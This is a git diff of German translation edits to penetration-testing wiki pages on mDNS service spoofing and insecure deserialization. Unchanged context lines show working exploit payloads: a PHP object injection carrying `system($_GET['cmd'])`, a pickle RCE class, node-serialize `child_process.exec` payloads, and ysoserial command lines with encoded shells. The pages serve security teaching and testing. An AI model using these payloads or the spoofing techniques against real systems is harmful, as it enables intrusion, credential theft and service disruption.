Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns

This commit is contained in:
Translator 2025-08-20 14:40:39 +00:00
parent b3c0605180
commit df8a93af35
2 changed files with 101 additions and 49 deletions

View File

@ -68,12 +68,12 @@ sudo python3 pholus3.py <iface> -afre -stimeout 1000
```
### Service-Spoofing und Identitätsdiebstahl (MitM)
Geben Sie beworbene DNS-SD-Dienste (Drucker, AirPlay, HTTP, Dateifreigaben) vor, um Clients dazu zu bringen, sich mit Ihnen zu verbinden. Dies ist besonders nützlich, um:
- Dokumente zu erfassen, indem _ipp._tcp oder _printer._tcp gefälscht werden.
Geben Sie beworbene DNS-SD-Dienste (Drucker, AirPlay, HTTP, Dateifreigaben) vor, um Clients zu zwingen, sich mit Ihnen zu verbinden. Dies ist besonders nützlich, um:
- Dokumente zu erfassen, indem _ipp._tcp oder _printer._tcp gefälscht wird.
- Clients zu HTTP/HTTPS-Diensten zu locken, um Tokens/Cookies zu sammeln oder Payloads zu liefern.
- Mit NTLM-Relay-Techniken zu kombinieren, wenn Windows-Clients Authentifizierung zu gefälschten Diensten aushandeln.
Mit dem zerogod-Modul von bettercap (mDNS/DNS-SD-Spoofer/Imitator):
Mit dem zerogod-Modul von bettercap (mDNS/DNS-SD-Spoofer/Identitätsdieb):
```bash
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
@ -100,8 +100,8 @@ Auch sehen Sie generische LLMNR/NBNS/mDNS/WPAD Spoofing- und Anmeldeinformatione
### Hinweise zu aktuellen Implementierungsproblemen (nützlich für DoS/Persistenz während Engagements)
- Avahi reachable-assertion und D-Bus Absturzfehler (2023) können den avahi-daemon auf Linux-Distributionen beenden (z.B. CVE-2023-38469..38473, CVE-2023-1981), was die Dienstentdeckung auf Zielhosts bis zum Neustart stört.
- Cisco IOS XE Wireless LAN Controller mDNS Gateway DoS (2024, CVE-2024-20303) ermöglicht es angrenzenden Angreifern, die CPU stark zu belasten und APs zu trennen. Wenn Sie auf ein mDNS-Gateway zwischen VLANs stoßen, seien Sie sich seiner Stabilität bei fehlerhaften oder hochfrequenten mDNS-Anfragen bewusst.
- Avahi reachable-assertion und D-Bus Absturzfehler (2023) können avahi-daemon auf Linux-Distributionen beenden (z.B. CVE-2023-38469..38473, CVE-2023-1981), was die Dienstentdeckung auf Zielhosts bis zum Neustart stört.
- Cisco IOS XE Wireless LAN Controller mDNS Gateway DoS (2024, CVE-2024-20303) ermöglicht angrenzenden Angreifern, die CPU stark zu belasten und APs zu trennen. Wenn Sie auf ein mDNS-Gateway zwischen VLANs stoßen, seien Sie sich seiner Stabilität bei fehlerhaften oder hochfrequenten mDNS-Anfragen bewusst.
## Defensive Überlegungen und OPSEC

View File

@ -92,7 +92,7 @@ Wenn Sie sich die Ergebnisse ansehen, können Sie sehen, dass die Funktionen **`
Sie können ein erklärtes **PHP-Beispiel hier** lesen: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), hier [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) oder hier [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
### PHP Deserial + Autoload Klassen
### PHP Deserial + Autoload-Klassen
Sie könnten die PHP-Autoload-Funktionalität missbrauchen, um beliebige PHP-Dateien und mehr zu laden:
@ -118,7 +118,7 @@ $ser=serialize($o);
### Verhindern von PHP-Objektinjektion mit `allowed_classes`
> [!INFO]
> Die Unterstützung für das **zweite Argument** von `unserialize()` (das `$options`-Array) wurde in **PHP 7.0** hinzugefügt. In älteren Versionen akzeptiert die Funktion nur den serialisierten String, was es unmöglich macht, einzuschränken, welche Klassen instanziiert werden dürfen.
> Unterstützung für das **zweite Argument** von `unserialize()` (das `$options`-Array) wurde in **PHP 7.0** hinzugefügt. In älteren Versionen akzeptiert die Funktion nur den serialisierten String, was es unmöglich macht, einzuschränken, welche Klassen instanziiert werden dürfen.
`unserialize()` wird **jede Klasse** instanziieren, die es im serialisierten Stream findet, es sei denn, es wird anders angegeben. Seit PHP 7 kann das Verhalten mit der [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) Option eingeschränkt werden:
```php
@ -154,7 +154,7 @@ return @unserialize(trim($data));
return $data;
}
```
Auf Servern, die noch **PHP ≤ 7.0** verwendeten, führte dieser zweite Zweig zu einer klassischen **PHP Object Injection**, als ein Administrator ein bösartiges Formular-Submission öffnete. Eine minimale Exploit-Nutzlast könnte wie folgt aussehen:
Auf Servern, die noch **PHP ≤ 7.0** verwendeten, führte dieser zweite Zweig zu einer klassischen **PHP Object Injection**, als ein Administrator eine bösartige Formularübermittlung öffnete. Eine minimale Exploit-Nutzlast könnte wie folgt aussehen:
```
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
```
@ -187,7 +187,7 @@ Für weitere Informationen lesen Sie den folgenden Beitrag:
### **Pickle**
Wenn das Objekt unpickled wird, wird die Funktion \_\_\_reduce\_\_\_ ausgeführt.\
Wenn ausgenutzt, könnte der Server einen Fehler zurückgeben.
Bei einer Ausnutzung könnte der Server einen Fehler zurückgeben.
```python
import pickle, os, base64
class P(object):
@ -205,7 +205,7 @@ Für weitere Informationen zum Entkommen aus **pickle jails** siehe:
### Yaml **&** jsonpickle
Die folgende Seite präsentiert die Technik, um **eine unsichere Deserialisierung in YAMLS** Python-Bibliotheken auszunutzen und endet mit einem Tool, das verwendet werden kann, um RCE-Deserialisierungs-Payloads für **Pickle, PyYAML, jsonpickle und ruamel.yaml** zu generieren:
Die folgende Seite präsentiert die Technik, um **eine unsichere Deserialisierung in YAMLs** Python-Bibliotheken auszunutzen und endet mit einem Tool, das verwendet werden kann, um RCE-Deserialisierungs-Payloads für **Pickle, PyYAML, jsonpickle und ruamel.yaml** zu generieren:
{{#ref}}
python-yaml-deserialization.md
@ -221,7 +221,7 @@ python-yaml-deserialization.md
### JS Magic Functions
JS **hat keine "magischen" Funktionen** wie PHP oder Python, die nur zum Erstellen eines Objekts ausgeführt werden. Aber es hat einige **Funktionen**, die **häufig verwendet werden, auch ohne sie direkt aufzurufen**, wie **`toString`**, **`valueOf`**, **`toJSON`**.\
JS **hat keine "magischen" Funktionen** wie PHP oder Python, die nur zum Erstellen eines Objekts ausgeführt werden. Aber es gibt einige **Funktionen**, die **häufig verwendet werden, auch ohne sie direkt aufzurufen**, wie **`toString`**, **`valueOf`**, **`toJSON`**.\
Wenn Sie eine Deserialisierung ausnutzen, können Sie **diese Funktionen kompromittieren, um anderen Code auszuführen** (potenziell durch Ausnutzung von Prototype-Pollution), sodass Sie beliebigen Code ausführen könnten, wenn sie aufgerufen werden.
Eine weitere **"magische" Möglichkeit, eine Funktion aufzurufen**, ohne sie direkt aufzurufen, besteht darin, **ein Objekt zu kompromittieren, das von einer asynchronen Funktion** (Promise) zurückgegeben wird. Denn wenn Sie **dieses Rückgabeobjekt** in ein anderes **Promise** mit einer **Eigenschaft** namens **"then" vom Typ Funktion** umwandeln, wird es **ausgeführt**, nur weil es von einem anderen Promise zurückgegeben wird. _Folgen Sie_ [_**diesem Link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _für weitere Informationen._
@ -295,7 +295,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
}
serialize.unserialize(test)
```
Wie zuvor angegeben, wird diese Bibliothek den Code nach `_$$ND_FUNC$$_` abrufen und ihn **ausführen** mit `eval`. Daher können Sie, um **Code automatisch auszuführen**, den Teil zur **Funktionsdefinition** und die letzte Klammer löschen und **einfach eine JS-Oneliner** wie im folgenden Beispiel ausführen:
Wie zuvor angegeben, wird diese Bibliothek den Code nach `_$$ND_FUNC$$_` abrufen und ihn **ausführen** mit `eval`. Daher können Sie, um **Code automatisch auszuführen**, den Teil zur **Funktionsdefinition** und die letzte Klammer **löschen** und **einfach eine JS-Oneliner** wie im folgenden Beispiel ausführen:
```javascript
var serialize = require("node-serialize")
var test =
@ -308,7 +308,7 @@ Sie können [**hier weitere Informationen**](https://opsecx.com/index.php/2017/0
Ein bemerkenswerter Aspekt von **funcster** ist die Unzugänglichkeit von **standardmäßigen eingebauten Objekten**; sie fallen außerhalb des zugänglichen Bereichs. Diese Einschränkung verhindert die Ausführung von Code, der versucht, Methoden auf eingebauten Objekten aufzurufen, was zu Ausnahmen wie `"ReferenceError: console is not defined"` führt, wenn Befehle wie `console.log()` oder `require(something)` verwendet werden.
Trotz dieser Einschränkung ist die Wiederherstellung des vollständigen Zugriffs auf den globalen Kontext, einschließlich aller standardmäßigen eingebauten Objekte, durch einen spezifischen Ansatz möglich. Durch die direkte Nutzung des globalen Kontexts kann man diese Einschränkung umgehen. Zum Beispiel kann der Zugriff mit dem folgenden Snippet wiederhergestellt werden:
Trotz dieser Einschränkung ist es möglich, den vollständigen Zugriff auf den globalen Kontext, einschließlich aller standardmäßigen eingebauten Objekte, durch einen spezifischen Ansatz wiederherzustellen. Indem man den globalen Kontext direkt nutzt, kann man diese Einschränkung umgehen. Zum Beispiel kann der Zugriff mit dem folgenden Snippet wiederhergestellt werden:
```javascript
funcster = require("funcster")
//Serialization
@ -365,7 +365,7 @@ In den folgenden Seiten finden Sie Informationen darüber, wie Sie diese Bibliot
## Java - HTTP
In Java werden **Deserialisierungs-Callbacks während des Deserialisierungsprozesses ausgeführt**. Diese Ausführung kann von Angreifern ausgenutzt werden, die bösartige Payloads erstellen, die diese Callbacks auslösen, was zu potenziell schädlichen Aktionen führen kann.
In Java werden **Deserialisierungs-Callbacks während des Deserialisierungsprozesses ausgeführt**. Diese Ausführung kann von Angreifern ausgenutzt werden, die bösartige Payloads erstellen, die diese Callbacks auslösen und potenziell schädliche Aktionen ausführen.
### Fingerabdrücke
@ -394,7 +394,7 @@ Für Black-Box-Tests suchen Sie nach spezifischen **Signaturen oder "Magic Bytes
- HTTP-Antwortheader mit `Content-type`, der auf `application/x-java-serialized-object` gesetzt ist.
- Hexadezimales Muster, das auf eine vorherige Kompression hinweist: `1F 8B 08 00`.
- Base64-Muster, das auf eine vorherige Kompression hinweist: `H4sIA`.
- Webdateien mit der Erweiterung `.faces` und dem Parameter `faces.ViewState`. Das Entdecken dieser Muster in einer Webanwendung sollte eine Untersuchung nach sich ziehen, wie im [Beitrag über Java JSF ViewState Deserialisierung](java-jsf-viewstate-.faces-deserialization.md) beschrieben.
- Webdateien mit der Erweiterung `.faces` und dem Parameter `faces.ViewState`. Das Entdecken dieser Muster in einer Webanwendung sollte eine Untersuchung nach sich ziehen, wie im [Beitrag über Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md) detailliert beschrieben.
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
@ -409,27 +409,27 @@ Sie können überprüfen, ob eine Anwendung mit bekannten Schwachstellen install
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
```
Du könntest versuchen, **alle Bibliotheken zu überprüfen**, von denen bekannt ist, dass sie anfällig sind und für die [**Ysoserial**](https://github.com/frohoff/ysoserial) einen Exploit bereitstellen kann. Oder du könntest die in [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) angegebenen Bibliotheken überprüfen.\
Du könntest versuchen, **alle bekannten verwundbaren Bibliotheken** zu überprüfen, für die [**Ysoserial**](https://github.com/frohoff/ysoserial) einen Exploit bereitstellen kann. Oder du könntest die in [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) angegebenen Bibliotheken überprüfen.\
Du könntest auch [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) verwenden, um nach möglichen Gadget-Ketten zu suchen, die ausgenutzt werden können.\
Beim Ausführen von **gadgetinspector** (nach dem Erstellen) kümmere dich nicht um die vielen Warnungen/Fehler, die es durchläuft, und lass es fertigstellen. Es wird alle Ergebnisse unter _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ schreiben. Bitte beachte, dass **gadgetinspector keinen Exploit erstellt und möglicherweise falsche Positivmeldungen anzeigt**.
Beim Ausführen von **gadgetinspector** (nach dem Bauen) kümmere dich nicht um die vielen Warnungen/Fehler, die es durchläuft, und lass es fertigstellen. Es wird alle Ergebnisse unter _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ schreiben. Bitte beachte, dass **gadgetinspector keinen Exploit erstellt und möglicherweise falsche Positivmeldungen anzeigt**.
#### Black Box Test
Mit der Burp-Erweiterung [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) kannst du **identifizieren, welche Bibliotheken verfügbar sind** (und sogar die Versionen). Mit diesen Informationen könnte es **einfacher sein, eine Payload auszuwählen**, um die Schwachstelle auszunutzen.\
Mit der Burp-Erweiterung [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) kannst du **identifizieren, welche Bibliotheken verfügbar sind** (und sogar die Versionen). Mit diesen Informationen könnte es **einfacher sein, eine Payload auszuwählen**, um die Verwundbarkeit auszunutzen.\
[**Lies dies, um mehr über GadgetProbe zu erfahren**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe konzentriert sich auf **`ObjectInputStream`-Deserialisierungen**.
Mit der Burp-Erweiterung [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) kannst du **anfällige Bibliotheken** identifizieren, die mit ysoserial ausgenutzt werden können, und sie **ausnutzen**.\
Mit der Burp-Erweiterung [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) kannst du **verwundbare Bibliotheken** identifizieren, die mit ysoserial ausnutzbar sind, und sie **ausnutzen**.\
[**Lies dies, um mehr über den Java Deserialization Scanner zu erfahren.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner konzentriert sich auf **`ObjectInputStream`**-Deserialisierungen.
Du kannst auch [**Freddy**](https://github.com/nccgroup/freddy) verwenden, um **Deserialisierungs**-Schwachstellen in **Burp** zu **erkennen**. Dieses Plugin erkennt **nicht nur `ObjectInputStream`**-bezogene Schwachstellen, sondern **auch** Schwachstellen von **Json**- und **Yml**-Deserialisierungsbibliotheken. Im aktiven Modus wird es versuchen, diese mit Sleep- oder DNS-Payloads zu bestätigen.\
Du kannst auch [**Freddy**](https://github.com/nccgroup/freddy) verwenden, um **Deserialisierungs**-Verwundbarkeiten in **Burp** zu erkennen. Dieses Plugin erkennt **nicht nur `ObjectInputStream`**-bezogene Verwundbarkeiten, sondern **auch** Verwundbarkeiten von **Json**- und **Yml**-Deserialisierungsbibliotheken. Im aktiven Modus wird es versuchen, diese mit Sleep- oder DNS-Payloads zu bestätigen.\
[**Hier findest du weitere Informationen über Freddy.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Serialization Test**
Es geht nicht nur darum, zu überprüfen, ob eine anfällige Bibliothek vom Server verwendet wird. Manchmal könntest du in der Lage sein, **die Daten im serialisierten Objekt zu ändern und einige Überprüfungen zu umgehen** (vielleicht erhältst du Administratorrechte in einer Webanwendung).\
Wenn du ein in Java serialisiertes Objekt findest, das an eine Webanwendung gesendet wird, **kannst du** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **verwenden, um das gesendete Serialisierungsobjekt in einem menschenlesbaren Format auszugeben**. Zu wissen, welche Daten du sendest, würde es einfacher machen, sie zu ändern und einige Überprüfungen zu umgehen.
Es geht nicht nur darum, zu überprüfen, ob eine verwundbare Bibliothek vom Server verwendet wird. Manchmal könntest du in der Lage sein, **die Daten im serialisierten Objekt zu ändern und einige Prüfungen zu umgehen** (vielleicht um dir Admin-Rechte in einer Webanwendung zu gewähren).\
Wenn du ein in eine Webanwendung gesendetes Java-serialisiertes Objekt findest, **kannst du** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **verwenden, um das gesendete Serialisierungsobjekt in einem menschenlesbaren Format auszugeben**. Zu wissen, welche Daten du sendest, würde es einfacher machen, sie zu ändern und einige Prüfungen zu umgehen.
### **Exploit**
@ -482,7 +482,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64
base64 -w0 payload
```
Beim Erstellen eines Payloads für **java.lang.Runtime.exec()** können Sie **keine Sonderzeichen** wie ">" oder "|" verwenden, um die Ausgabe einer Ausführung umzuleiten, "$()" um Befehle auszuführen oder sogar **Argumente** an einen Befehl zu übergeben, die durch **Leerzeichen** getrennt sind (Sie können `echo -n "hello world"` tun, aber Sie können nicht `python2 -c 'print "Hello world"'` tun). Um den Payload korrekt zu codieren, könnten Sie [diese Webseite](http://www.jackson-t.ca/runtime-exec-payloads.html) verwenden.
Beim Erstellen eines Payloads für **java.lang.Runtime.exec()** können Sie **keine Sonderzeichen** wie ">" oder "|" verwenden, um die Ausgabe einer Ausführung umzuleiten, "$()" um Befehle auszuführen oder sogar **Argumente** an einen Befehl zu übergeben, die durch **Leerzeichen** getrennt sind (Sie können `echo -n "hello world"` tun, aber Sie können nicht `python2 -c 'print "Hello world"'` tun). Um den Payload korrekt zu kodieren, könnten Sie [diese Webseite](http://www.jackson-t.ca/runtime-exec-payloads.html) verwenden.
Fühlen Sie sich frei, das nächste Skript zu verwenden, um **alle möglichen Codeausführungs**-Payloads für Windows und Linux zu erstellen und diese dann auf der verwundbaren Webseite zu testen:
```python
@ -538,7 +538,7 @@ Lesen Sie mehr über diese Java JSON-Bibliothek: [https://www.alphabot.com/secur
### Labs
- Wenn Sie einige ysoserial-Payloads testen möchten, können Sie **diese Webanwendung ausführen**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
- Wenn Sie einige ysoserial Payloads testen möchten, können Sie **diese Webanwendung ausführen**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
### Warum
@ -555,7 +555,7 @@ Java verwendet viel Serialisierung für verschiedene Zwecke wie:
#### Transiente Objekte
Eine Klasse, die `Serializable` implementiert, kann jedes Objekt innerhalb der Klasse als `transient` kennzeichnen, das nicht serialisierbar sein sollte. Zum Beispiel:
Eine Klasse, die `Serializable` implementiert, kann als `transient` jedes Objekt innerhalb der Klasse implementieren, das nicht serialisierbar sein sollte. Zum Beispiel:
```java
public class myAccount implements Serializable
{
@ -642,7 +642,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
## JNDI-Injection & log4Shell
Finden Sie heraus, was **JNDI Injection ist, wie man es über RMI, CORBA & LDAP missbraucht und wie man log4shell ausnutzt** (und ein Beispiel für diese Schwachstelle) auf der folgenden Seite:
Finden Sie heraus, was **JNDI-Injection ist, wie man es über RMI, CORBA & LDAP missbraucht und wie man log4shell ausnutzt** (und ein Beispiel für diese Schwachstelle) auf der folgenden Seite:
{{#ref}}
jndi-java-naming-and-directory-interface-and-log4shell.md
@ -650,7 +650,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## JMS - Java Message Service
> Die **Java Message Service** (**JMS**) API ist eine Java-nachrichtenorientierte Middleware-API zum Senden von Nachrichten zwischen zwei oder mehr Clients. Es ist eine Implementierung zur Handhabung des Produzenten-Verbraucher-Problems. JMS ist Teil der Java Platform, Enterprise Edition (Java EE), und wurde durch eine Spezifikation definiert, die bei Sun Microsystems entwickelt wurde, aber seitdem vom Java Community Process geleitet wird. Es ist ein Messaging-Standard, der es Anwendungsmodulen, die auf Java EE basieren, ermöglicht, Nachrichten zu erstellen, zu senden, zu empfangen und zu lesen. Es ermöglicht die Kommunikation zwischen verschiedenen Komponenten einer verteilten Anwendung, die lose gekoppelt, zuverlässig und asynchron ist. (Von [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
> Die **Java Message Service** (**JMS**) API ist eine Java-nachrichtenorientierte Middleware-API zum Senden von Nachrichten zwischen zwei oder mehr Clients. Es ist eine Implementierung zur Handhabung des ProduzentenKonsumenten-Problems. JMS ist Teil der Java Platform, Enterprise Edition (Java EE), und wurde durch eine Spezifikation definiert, die bei Sun Microsystems entwickelt wurde, aber seitdem vom Java Community Process geleitet wird. Es ist ein Messaging-Standard, der es Anwendungsmodulen, die auf Java EE basieren, ermöglicht, Nachrichten zu erstellen, zu senden, zu empfangen und zu lesen. Es ermöglicht die Kommunikation zwischen verschiedenen Komponenten einer verteilten Anwendung, die lose gekoppelt, zuverlässig und asynchron ist. (Von [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
### Produkte
@ -665,7 +665,7 @@ Es gibt mehrere Produkte, die diese Middleware verwenden, um Nachrichten zu send
Im Grunde gibt es eine **Menge von Diensten, die JMS auf gefährliche Weise verwenden**. Daher, wenn Sie **genug Berechtigungen** haben, um Nachrichten an diese Dienste zu senden (normalerweise benötigen Sie gültige Anmeldeinformationen), könnten Sie in der Lage sein, **bösartige Objekte zu senden, die serialisiert sind und vom Verbraucher/Abonnenten deserialisiert werden**.\
Das bedeutet, dass bei dieser Ausnutzung alle **Clients, die diese Nachricht verwenden, infiziert werden**.
Sie sollten sich daran erinnern, dass selbst wenn ein Dienst anfällig ist (weil er Benutzereingaben unsicher deserialisiert), Sie immer noch gültige Gadgets finden müssen, um die Schwachstelle auszunutzen.
Sie sollten sich daran erinnern, dass selbst wenn ein Dienst anfällig ist (weil er Benutzereingaben unsicher deserialisiert), Sie dennoch gültige Gadgets finden müssen, um die Schwachstelle auszunutzen.
Das Tool [JMET](https://github.com/matthiaskaiser/jmet) wurde erstellt, um **diese Dienste zu verbinden und anzugreifen, indem mehrere bösartige Objekte gesendet werden, die mit bekannten Gadgets serialisiert sind**. Diese Exploits funktionieren, wenn der Dienst weiterhin anfällig ist und wenn eines der verwendeten Gadgets in der anfälligen Anwendung enthalten ist.
@ -693,7 +693,7 @@ Untersucht werden. Der Fokus sollte auf Serialisierern liegen, die es ermöglich
#### BlackBox
Die Suche sollte auf die Base64-codierte Zeichenfolge **AAEAAAD/////** oder ein ähnliches Muster abzielen, das auf der Serverseite deserialisiert werden könnte, wodurch die Kontrolle über den zu deserialisierenden Typ gewährt wird. Dies könnte, ist aber nicht beschränkt auf, **JSON** oder **XML**-Strukturen mit `TypeObject` oder `$type`.
Die Suche sollte auf die Base64-codierte Zeichenfolge **AAEAAAD/////** oder ein ähnliches Muster abzielen, das auf der Serverseite deserialisiert werden könnte, wodurch die Kontrolle über den zu deserialisierenden Typ gewährt wird. Dies könnte JSON- oder XML-Strukturen mit `TypeObject` oder `$type` umfassen.
### ysoserial.net
@ -705,13 +705,13 @@ Die Hauptoptionen von **ysoserial.net** sind: **`--gadget`**, **`--formatter`**,
- **`--gadget`** wird verwendet, um das Gadget anzugeben, das ausgenutzt werden soll (geben Sie die Klasse/Funktion an, die während der Deserialisierung missbraucht wird, um Befehle auszuführen).
- **`--formatter`**, wird verwendet, um die Methode anzugeben, um den Exploit zu serialisieren (Sie müssen wissen, welche Bibliothek im Backend verwendet wird, um die Payload zu deserialisieren, und dieselbe verwenden, um sie zu serialisieren).
- **`--output`** wird verwendet, um anzugeben, ob Sie den Exploit in **raw** oder **base64** codiert haben möchten. _Beachten Sie, dass **ysoserial.net** die Payload mit **UTF-16LE** (Standardkodierung unter Windows) codiert, sodass Sie, wenn Sie die raw-Version erhalten und sie einfach von einer Linux-Konsole aus codieren, möglicherweise einige **Kodierungs-Kompatibilitätsprobleme** haben, die verhindern, dass der Exploit ordnungsgemäß funktioniert (in der HTB JSON-Box funktionierte die Payload sowohl in UTF-16LE als auch in ASCII, aber das bedeutet nicht, dass es immer funktioniert)._
- **`--output`** wird verwendet, um anzugeben, ob Sie den Exploit in **raw** oder **base64** codiert haben möchten. _Beachten Sie, dass **ysoserial.net** die Payload mit **UTF-16LE** (Standardkodierung unter Windows) codiert, sodass Sie, wenn Sie die Raw-Version erhalten und sie einfach von einer Linux-Konsole aus codieren, möglicherweise einige **Kodierungs-Kompatibilitätsprobleme** haben, die verhindern, dass der Exploit ordnungsgemäß funktioniert (in der HTB JSON-Box funktionierte die Payload sowohl in UTF-16LE als auch in ASCII, aber das bedeutet nicht, dass es immer funktioniert)._
- **`--plugin`** ysoserial.net unterstützt Plugins, um **Exploits für spezifische Frameworks** wie ViewState zu erstellen.
#### Weitere ysoserial.net-Parameter
- `--minify` bietet eine **kleinere Payload** (wenn möglich)
- `--raf -f Json.Net -c "anything"` Dies gibt an, welche Gadgets mit einem angegebenen Formatter (`Json.Net` in diesem Fall) verwendet werden können.
- `--minify` wird eine **kleinere Payload** bereitstellen (wenn möglich)
- `--raf -f Json.Net -c "anything"` Dies wird alle Gadgets angeben, die mit einem bereitgestellten Formatter (`Json.Net` in diesem Fall) verwendet werden können.
- `--sf xml` Sie können **ein Gadget** (`-g`) angeben, und ysoserial.net wird nach Formatierern suchen, die "xml" enthalten (nicht großgeschrieben).
**ysoserial-Beispiele** zur Erstellung von Exploits:
@ -734,7 +734,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand S
```
**ysoserial.net** hat auch einen **sehr interessanten Parameter**, der hilft, besser zu verstehen, wie jeder Exploit funktioniert: `--test`\
Wenn Sie diesen Parameter angeben, wird **ysoserial.net** den **Exploit lokal versuchen**, sodass Sie testen können, ob Ihr Payload korrekt funktioniert.\
Dieser Parameter ist hilfreich, da Sie beim Überprüfen des Codes Codeabschnitte wie den folgenden finden werden (aus [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
Dieser Parameter ist hilfreich, da Sie, wenn Sie den Code überprüfen, Codeabschnitte wie den folgenden finden werden (aus [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
{
@ -764,7 +764,7 @@ Daher ermöglicht uns der **`--test`**-Parameter zu verstehen, **welche Codeabsc
### ViewState
Werfen Sie einen Blick auf [diesen POST über **wie man versucht, den \_\_ViewState-Parameter von .Net auszunutzen**](exploiting-__viewstate-parameter.md), um **willkürlichen Code auszuführen.** Wenn Sie **bereits die Geheimnisse** kennen, die von der Opfermaschine verwendet werden, [**lesen Sie diesen Beitrag, um zu erfahren, wie man Code ausführt**](exploiting-__viewstate-knowing-the-secret.md)**.**
Werfen Sie einen Blick auf [diesen POST über **wie man versucht, den \_\_ViewState-Parameter von .Net auszunutzen**](exploiting-__viewstate-parameter.md), um **beliebigen Code auszuführen.** Wenn Sie **bereits die Geheimnisse** kennen, die von der Opfermaschine verwendet werden, [**lesen Sie diesen Beitrag, um zu erfahren, wie man Code ausführt**](exploiting-__viewstate-knowing-the-secret.md)**.**
### Prevention
@ -798,7 +798,7 @@ Zur Sicherung serialisierter Objekte verwendet **Ruby HMAC (Hash-Based Message A
- `config/secrets.yml`
- `/proc/self/environ`
**Ruby 2.X generische Deserialisierung zu RCE-Gadget-Kette (mehr Infos in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
**Ruby 2.X generische Deserialisierung zu RCE Gadget-Kette (mehr Informationen in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
```ruby
#!/usr/bin/env ruby
@ -873,7 +873,7 @@ Andere RCE-Kette zur Ausnutzung von Ruby On Rails: [https://codeclimate.com/blog
### Ruby .send() Methode
Wie in [**diesem Sicherheitsbericht**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) erklärt, wenn einige unsanitisierte Benutzereingaben die `.send()` Methode eines Ruby-Objekts erreichen, erlaubt diese Methode, **jede andere Methode** des Objekts mit beliebigen Parametern aufzurufen.
Wie in [**diesem Sicherheitsbericht**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) erklärt, wenn einige unsanierte Benutzereingaben die `.send()` Methode eines Ruby-Objekts erreichen, erlaubt diese Methode, **jede andere Methode** des Objekts mit beliebigen Parametern aufzurufen.
Zum Beispiel wird das Aufrufen von eval und dann Ruby-Code als zweiten Parameter die Ausführung beliebigen Codes ermöglichen:
```ruby
@ -904,11 +904,11 @@ candidate_methods.length() # Final number of methods=> 3595
```
### Ruby-Klassenverschmutzung
Überprüfen Sie, wie es möglich sein könnte, eine [Ruby-Klasse zu verschmutzen und sie hier auszunutzen](ruby-class-pollution.md).
Überprüfen Sie, wie es möglich sein könnte, eine Ruby-Klasse zu [verschmutzen und sie hier auszunutzen](ruby-class-pollution.md).
### Ruby _json-Verschmutzung
Wenn einige nicht hashbare Werte wie ein Array in den Body gesendet werden, werden sie in einen neuen Schlüssel namens `_json` eingefügt. Es ist jedoch möglich, dass ein Angreifer auch im Body einen Wert namens `_json` mit beliebigen Werten festlegt. Wenn das Backend beispielsweise die Richtigkeit eines Parameters überprüft, aber dann auch den `_json`-Parameter verwendet, um eine Aktion auszuführen, könnte ein Autorisierungsumgehung durchgeführt werden.
